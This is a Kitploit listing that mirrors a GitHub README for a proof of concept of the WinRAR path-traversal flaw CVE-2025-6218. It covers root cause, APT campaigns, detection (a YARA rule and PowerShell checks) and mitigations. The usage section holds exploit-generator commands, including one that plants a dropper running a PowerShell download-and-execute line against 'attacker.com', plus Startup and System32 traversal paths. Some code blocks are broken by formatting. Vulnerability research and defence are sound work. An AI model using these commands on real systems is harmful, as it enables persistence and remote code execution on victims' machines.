Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-6218-WinRAR-RCE-POC — 针对CVE-2025-6218的全面分析与概念验证——影响7.11及更早版本的WinRAR路径遍历远程代码执行漏洞 | Kitploit
工具/GitHubGitHub/chrxstxqn/cve-2025-6218-winrar-rce-poc
钓鱼工具持久化机制漏洞分析漏洞利用横向移动恶意软件分析渗透测试学习与教育二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubchrxstxqn/cve-2025-6218-winrar-rce-poc

CVE-2025-6218-WinRAR-RCE-POC

针对CVE-2025-6218的全面分析与概念验证——影响7.11及更早版本的WinRAR路径遍历远程代码执行漏洞

查看仓库
2158个月前尚未审核

CVE-2025-6218: WinRAR 路径遍历远程代码执行漏洞

CVE CVSS Score Platform License Status

⚠️ 严重漏洞 - 已确认活跃利用

CVE-2025-6218 是 WinRAR 中的一个严重路径遍历漏洞,可导致任意代码执行。当前已被 APT 组织如 GOFFEE、Bitter (APT-C-08) 和 Gamaredon 利用。


📋 目录

  • 概述
  • 技术描述
  • 利用机制
  • 受影响版本
  • 攻击场景
  • 威胁行为体
  • 概念验证
  • 检测与入侵指标
  • 缓解措施
  • 时间线
  • 仓库结构
  • 参考

🎯 概述

CVE-2025-6218 是 WinRAR for Windows 中的一个严重的路径遍历漏洞,攻击者可借此执行任意代码。

主要影响

为何危险?

攻击者可:

  • ✅ 将文件放入敏感目录(启动项、System32)
  • ✅ 在系统启动时执行代码
  • ✅ 无需高权限即可建立持久化
  • ✅ 绕过杀毒软件(利用合法工具)
  • ✅ 在企业网络中进行横向移动

🔍 技术描述

漏洞是什么?

WinRAR 未正确验证特制 .rar 存档中文件的路径。当用户解压恶意构造的存档时,文件可通过路径遍历序列(../ 或 ..\\)被写入到预期解压目录之外的任意路径。

根本原因 - 漏洞```c

// Pseudocodice - WinRAR v7.11 (VULNERABILE) void extract_file(rar_entry *entry, char *dest_dir) { char final_path[MAX_PATH];

root@kitploit:~
strcpy(final_path, dest_dir);         // "C:\\Temp\\"
strcat(final_path, entry->filename);  // + "..\\..\\..\\Windows\\System32\\malware.exe"

// ❌ ERRORE: Nessuna validazione del path traversal!
// final_path = "C:\\Temp\\..\\..\\..\\Windows\\System32\\malware.exe"
// Risolto come: "C:\\Windows\\System32\\malware.exe" ← EXPLOIT!

create_file(final_path);  // File creato in directory non intesa

}

root@kitploit:~
### v7.11 中缺失的保护

- ❌ 未检查文件是否保留在 `dest_dir` 内
- ❌ 未过滤 `..` 或 `.` 序列
- ❌ 未对路径进行规范化
- ❌ 未设置允许的目录白名单
- ❌ 未进行路径包含验证

### v7.12 中的修复

- ✅ 通过 `os.path.realpath(dest_dir)` 进行包含性检查```c
// WinRAR v7.12 (PATCHED)
bool is_path_contained(char *path, char *base_dir) {
    char canonical[MAX_PATH], canonical_base[MAX_PATH];
    
    // Normalizza entrambi i percorsi
    GetFullPathName(path, MAX_PATH, canonical, NULL);
    GetFullPathName(base_dir, MAX_PATH, canonical_base, NULL);
    
    // Verifica contenimento
    if (strncmp(canonical, canonical_base, strlen(canonical_base)) != 0) {
        return false;  // Path esce dalla directory base
    }
    return true;
}

void extract_file_safe(rar_entry *entry, char *dest_dir) {
    char final_path[MAX_PATH];
    strcpy(final_path, dest_dir);
    strcat(final_path, entry->filename);
    
    // ✅ FIX: Verifica che il file rimane dentro dest_dir
    if (!is_path_contained(final_path, dest_dir)) {
        skip_extraction();  // Rifiuta estrazione
        log_error("Path traversal detected!");
        return;
    }
    
    create_file(final_path);  // Adesso sicuro
}

💥 漏洞利用机制

路径遍历详解```

Cartella di Estrazione: C:\Temp\Extract

Path nel RAR (craft): ..\..\..\..\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.bat

Risoluzione Path: C:\Temp\Extract\.. = C:\Temp\ C:\Temp\.. = C:\ C:\.. = C:\ (non può andare oltre)

  • Users\\...\Startup\payload.bat

= C:\Users\\AppData\Roaming\...\Startup\payload.bat ✓

root@kitploit:~
### 攻击流程图```
┌─────────────────────────────────────────────┐
│  1. Attaccante crea RAR con path craft     │
│     es: ..\\..\\..\\Startup\\malware.bat   │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  2. Distribuzione via spear-phishing        │
│     Email mirata con allegato RAR          │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  3. Vittima estrae archivio con WinRAR     │
│     (versione ≤ 7.11)                       │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  4. WinRAR non valida path traversal       │
│     File estratto in Startup folder         │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  5. Al boot: payload eseguito              │
│     RAT stabilisce C2 connection            │
└─────────────────────────────────────────────┘

🔴 受影响版本

兼容性表

如何检查你的版本```powershell

Metodo 1: PowerShell

(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion

Output:

7.11.0.0 → 🔴 VULNERABILE ⚠️

7.12.0.0 → 🟢 SAFE ✓

Metodo 2: CMD

wmic datafile where name="C:\\Program Files\\WinRAR\\WinRAR.exe" get Version

Metodo 3: GUI

WinRAR → Help → About WinRAR → Verifica versione

root@kitploit:~
---

## 🌍 攻击场景

### 场景1: Bitter/APT-C-08 鱼叉式钓鱼(确认活跃)

**目标**: 政府、军事组织、战略机构```
Email Phishing:
  From: [email protected]
  Subject: "Provision of Information for Sectoral for AJK.rar"
  Attachment: Provision_of_Information.rar

Contenuto Archive:
  ├── Document.docx (esca legittima - report convincente)
  └── ..\\..\\..\\..\\Users\\User\\AppData\\Roaming\\Microsoft\\Office\\STARTUP\\Template.dotm
      (macro malato nascosto)

Esecuzione:
  1. Vittima estrae RAR
  2. WinRAR non valida path → Template.dotm finisce in Office STARTUP
  3. Prossimo avvio Word → Macro eseguita automaticamente
  4. PowerShell downloader attivato
  5. C# Trojan scaricato: WmRAT, MiyaRAT, ZxxZ
  6. C2 Server: johnfashionaccess.com
  7. Capabilities:
     - Keylogging
     - Screenshot capture
     - RDP credential stealing
     - File exfiltration
     - Lateral movement

场景 2:GOFFEE 多阶段载荷

目标:俄罗斯政府组织``` RAR specializzato: ├── run.bat (path: ..\..\..\..\Windows\Startup\run.bat) └── legitimate_document.pdf (esca)

Attack Chain:

  1. Estrazione RAR → run.bat finisce in Startup
  2. Al prossimo boot → run.bat eseguito
  3. PowerShell script scarica stage 2
  4. C# Custom Trojan installato
  5. RAT stabilisce C2 persistente
  6. Full system control achieved
root@kitploit:~
### 场景3:勒索软件投递```
RAR Weaponized:
  └── locker.exe (path: ..\\..\\..\\Startup\\locker.exe)

Infezione:
  1. Estrazione RAR
  2. locker.exe → Startup folder
  3. Sistema reboota (naturale o forzato)
  4. locker.exe eseguito con diritti user
  5. File system encryption
  6. Ransom note displayed
  7. Bitcoin payment richiesto

🎭 威胁行为者

GOFFEE (纸狼) 🇷🇺

  • 来源: 俄罗斯
  • 首次发现: 2025年7月
  • 目标: 俄罗斯政府机构
  • 方法: CVE-2025-6218 + CVE-2025-8088 (NTFS ADS)
  • 有效载荷: C# 自定义木马
  • TTP: 多阶段感染,NTFS ADS 滥用

Bitter / APT-C-08 / Manlinghua 🇵🇰

  • 来源: 南亚
  • 首次发现: 2025年8月
  • 目标: 政府、军事、战略组织
  • 方法: 鱼叉式钓鱼 (RAR + 宏模板)
  • 有效载荷: WmRAT, MiyaRAT, ZxxZ
  • C2: johnfashionaccess.com
  • TTP: 社会工程学,Office宏滥用
  • 状态: 🔴 活动中的攻击活动

Gamaredon 🇷🇺

  • 来源: 俄罗斯 (与FSB结盟的APT)
  • 首次发现: 2025年11月
  • 目标: 乌克兰政府
  • 有效载荷: GamaWiper (数据销毁)
  • 类型: 网络破坏 + 间谍活动
  • TTP: 大规模分发,擦除器部署

🧪 概念验证

先决条件```

✅ Windows VM (10, 11, Server) ✅ WinRAR versione ≤ 7.11 installato ✅ Network isolato (no internet - safety first!) ✅ Snapshot VM per rollback ✅ Admin access per testing

root@kitploit:~
### 实验室环境设置```powershell
# 1. Crea VM Windows pulita
# 2. Installa WinRAR 7.11
winget install RARLab.WinRAR --version 7.11

# 3. Verifica versione
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output: 7.11.0.0 ✓

# 4. Disabilita network
Set-NetAdapter -Name "Ethernet" -Enabled $false

# 5. Crea snapshot
# VM → Snapshot → "Clean WinRAR 7.11 Vulnerable"

快速入门 POC```bash

1. Clone questa repository

git clone https://github.com/Chrxstxqn/CVE-2025-6218-WinRAR-RCE-POC.git cd CVE-2025-6218-WinRAR-RCE-POC

2. Genera exploit archive

python3 exploit/generate_rar.py
--target startup
--payload calc.exe
--output exploit_poc.zip

Output:

[+] Target location: startup

[+] Traversal path: ..\..\..\..\Users\{user}\AppData\...\Startup

[+] Created: exploit_poc.zip

3. Trasferisci exploit_poc.zip su VM vulnerabile

4. Su VM target:

- Right-click exploit_poc.zip

- Extract to C:\

- WinRAR estrae file

5. Verifica exploit success

ls "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

Dovrebbe mostrare: calc.exe ← PATH TRAVERSAL RIUSCITO!

6. Reboot VM

shutdown /r /t 0

7. Al login: calc.exe eseguito automaticamente ✓

root@kitploit:~
### 漏洞利用生成器用法```bash
# Genera payload per Startup folder
python3 exploit/generate_rar.py --target startup --payload shell.bat

# Genera payload per System32 (richiede admin)
python3 exploit/generate_rar.py --target system32 --payload malware.exe

# Genera con custom batch command
python3 exploit/generate_rar.py \
  --target startup \
  --payload dropper.bat \
  --batch "powershell -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

# Targets disponibili:
# - startup    : Auto-execution at login
# - system32   : System directory (needs admin)
# - appdata    : User AppData
# - documents  : User Documents
# - temp       : User Temp folder

🔎 检测与IOC

文件系统指标```powershell

Monitor creazione file in Startup

Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Recurse -File | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }

Check for suspicious Office templates

Get-ChildItem "$env:APPDATA\Microsoft\Office" -Include ".dotm",".xlsm" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }

Monitor System32 creation (requires admin)

Get-WinEvent -LogName Security -FilterXPath "*[EventData[Data[@Name='ObjectName'] and contains(., 'System32')]]" -MaxEvents 100

root@kitploit:~
### 进程执行```powershell
# Verifica processi in esecuzione da Startup
Get-WmiObject Win32_Process | Where-Object {
    $_.ExecutablePath -like "*Startup*"
} | Select-Object Name, ExecutablePath, ProcessId

# Monitor WinRAR extraction con Sysmon (Event ID 11: File Created)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]] and *[EventData[Data[@Name='Image'] and contains(., 'WinRAR')]]" -MaxEvents 50

网络 IOCs (C2 域名)```

johnfashionaccess.com (Bitter/APT-C-08) [additional IOCs from CISA KEV]

root@kitploit:~
### 电子邮件指标```
Subject patterns:
  - "Provision of Information"
  - "Sectoral for AJK"
  - Government-related keywords
  
Senders:
  - [email protected]
  - Free email providers (Gmail, Outlook)
  
Attachments:
  - .RAR files da external senders
  - Legitimate-looking document names

YARA 规则```yara

rule CVE_2025_6218_WinRAR_PathTraversal { meta: description = "Detect RAR archives with path traversal sequences" author = "Christian Schito" date = "2025-12-15" cve = "CVE-2025-6218"

root@kitploit:~
strings:
    $rar_sig = { 52 61 72 21 }  // "Rar!" signature
    $traversal1 = "..\\" ascii wide
    $traversal2 = "../" ascii wide
    $startup = "Startup" ascii wide nocase
    $system32 = "System32" ascii wide nocase
    
condition:
    $rar_sig at 0 and 
    (#traversal1 > 3 or #traversal2 > 3) and
    ($startup or $system32)

}

root@kitploit:~
---

## 🛡️ 缓解措施

### 🔴 立即修补(严重)```powershell
# Verifica versione attuale
$version = (Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
if ($version -le "7.11.0.0") {
    Write-Host "🔴 VULNERABILE! Update richiesto!" -ForegroundColor Red
} else {
    Write-Host "🟢 SAFE - Versione $version patched" -ForegroundColor Green
}

# Download WinRAR 7.12+
# https://www.rarlab.com/rar_add.htm

# Deploy aziendale (SCCM/Intune)
msiexec /i WinRAR-x64-721.msi /quiet /norestart

# Verifica post-update
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Dovrebbe essere ≥ 7.12.0.0

纵深防御

电子邮件安全```

✅ Blocca .RAR da external domains ✅ Quarantine archives per deep scanning ✅ Content disarm and reconstruction (CDR) ✅ Sandboxing di allegati sospetti ✅ YARA rules per detection

root@kitploit:~
#### 端点保护```powershell
# Scheduled task per monitoring
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-File C:\Scripts\monitor_startup.ps1'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CVE-2025-6218 Monitor" -Description "Monitor Startup folder for suspicious files"

# Sysmon configuration
# Monitor Event ID 11 (File Created) in sensitive directories

网络分段```

✅ Separate admin workstations ✅ Block egress to known C2 domains ✅ Monitor for suspicious DNS queries ✅ Implement zero-trust network access

root@kitploit:~
#### 应用程序白名单```powershell
# AppLocker policy - Block execution from APPDATA\Startup
$rule = New-AppLockerPolicy -RuleType Path -Path "$env:APPDATA\*\Startup\*" -Action Deny -User Everyone
Set-AppLockerPolicy -PolicyObject $rule

用户培训```

✅ Non aprire archivi da email unknown ✅ Verify sender identity prima di aprire attachments ✅ Report suspicious emails al security team ✅ Keep software up-to-date ✅ Use sandboxed environment per file sospetti

root@kitploit:~
---

## 📅 时间线

| 日期 | 事件 |
|------|--------|
| **未知** | 漏洞被发现 |
| **2025年6月** | RARLAB 发布 WinRAR 7.12 补丁 |
| **2025年7月** | GOFFEE(纸狼)开始积极利用 |
| **2025年8月** | BI.ZONE 发布详细技术分析 |
| **2025年9月** | Bitter/APT-C-08 被确认参与鱼叉式钓鱼活动 |
| **2025年11月** | Gamaredon 被确认针对乌克兰进行利用 |
| **2025年12月9日** | 🔴 **CISA 将 CVE-2025-6218 添加到 KEV 目录** |
| **2025年12月30日** | 美国联邦机构强制补丁截止日期 |

---

## 📁 仓库结构```
CVE-2025-6218-WinRAR-RCE-POC/
├── README.md                           # Questa guida completa
├── LICENSE                             # MIT License
├── docs/
│   ├── TECHNICAL_ANALYSIS.md          # Deep dive tecnico
│   ├── DETECTION.md                   # Forensics & IOC
│   ├── IOC_INDICATORS.md              # Indicators of Compromise
│   └── SETUP.md                       # Lab setup guide
├── exploit/
│   ├── generate_rar.py                # POC exploit generator (Python)
│   ├── CVE-2025-6218.bat              # Batch script POC
│   └── README.md                      # Exploit usage guide
├── tools/
│   ├── detect.ps1                     # Detection PowerShell script
│   ├── check_version.ps1              # Version checker
│   └── monitor_startup.ps1            # Startup folder monitor
└── samples/
    ├── yara_rules.yar                 # YARA detection rules
    └── sysmon_config.xml              # Sysmon configuration

📚 参考资料

官方

  • NVD CVE-2025-6218 - 官方漏洞记录
  • CISA KEV Catalog - 2025年12月9日新增
  • RARLAB Security Advisory - 官方补丁下载

威胁情报

  • SecPod Analysis - APT-C-08活动分析
  • TheHackerNews Report - 主动利用警报
  • RedHotCyber Analysis - CISA警告(意大利语)

社区POC

  • absholi7ly/CVE-2025-6218
  • skimask1690/CVE-2025-6218-POC
  • ignis-sec/CVE-2025-6218

⚠️ 免责声明

⚠️ 仅供教育和研究使用

本仓库仅供教育和授权安全研究目的提供。

请勿用于:

  • ❌ 未经授权攻击系统
  • ❌ 未经许可访问计算机
  • ❌ 传播恶意软件
  • ❌ 违反当地或国际法律
  • ❌ 任何非法活动

仅用于:

  • ✅ 您自己的系统
  • ✅ 经授权的隔离虚拟机
  • ✅ 受控的测试环境
  • ✅ 获得明确的书面授权
  • ✅ 用于合法的研究目的

法律责任```

L'autore NON è responsabile per:

  • Uso improprio di questo codice
  • Danni causati da questo software
  • Violazioni di legge commesse usando questo materiale

Usando questo repository, accetti di:

  • Rispettare tutte le leggi applicabili
  • Usare il codice solo per scopi legittimi
  • Assumerti piena responsabilità delle tue azioni
root@kitploit:~
**未经授权访问计算机系统是非法的。您已被警告。**

---

## 📄 许可证

MIT 许可证 - 详见 [LICENSE](https://github.com/chrxstxqn/cve-2025-6218-winrar-rce-poc/blob/main/LICENSE)

---

## 🤝 贡献

欢迎贡献!如果您有:
- 🐛 错误报告
- 💡 功能请求
- 📝 文档改进
- 🔬 其他 IOC

请开启一个 **Issue** 或 **Pull Request**!

---

## 📞 联系

**作者**:Christian Schito  
**GitHub**:[@Chrxstxqn](https://github.com/Chrxstxqn)  
**最后更新**:2025年12月15日  
**状态**:🔴 积极研究 - 利用已确认  

---

<div align="center">

**⭐ 如果这个仓库对你有用,请留下一个星标!⭐**

**🔒 保持安全。立即打补丁。🔒**

</div>
下载工具
方面详情
CVSS 评分7.8(高危)
受影响版本WinRAR ≤ 7.11(仅 Windows)
平台Windows 10、11、Server
受影响用户约 5 亿
修复版本WinRAR 7.12(2025 年 6 月)
状态🔴 正在被活跃利用
CISA KEV2025 年 12 月 9 日添加
版本状态备注
≤ 7.10🔴 有漏洞所有漏洞利用均有效
7.11🔴 有漏洞最后一个受影响版本
7.12 Beta 1+🟢 已修复路径遍历修复
7.12+🟢 已修复包含修复的稳定版本
UNIX / Android✅ 不受影响非 Windows 版本不受影响